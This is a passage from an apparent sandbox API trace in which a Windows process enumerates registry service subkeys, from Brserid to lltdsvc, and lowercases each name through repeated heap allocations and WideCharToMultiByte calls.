(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.978] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0245.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0245.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0245.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0245.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0245.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0245.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0245.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0245.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0245.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0245.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0245.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0245.988] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: 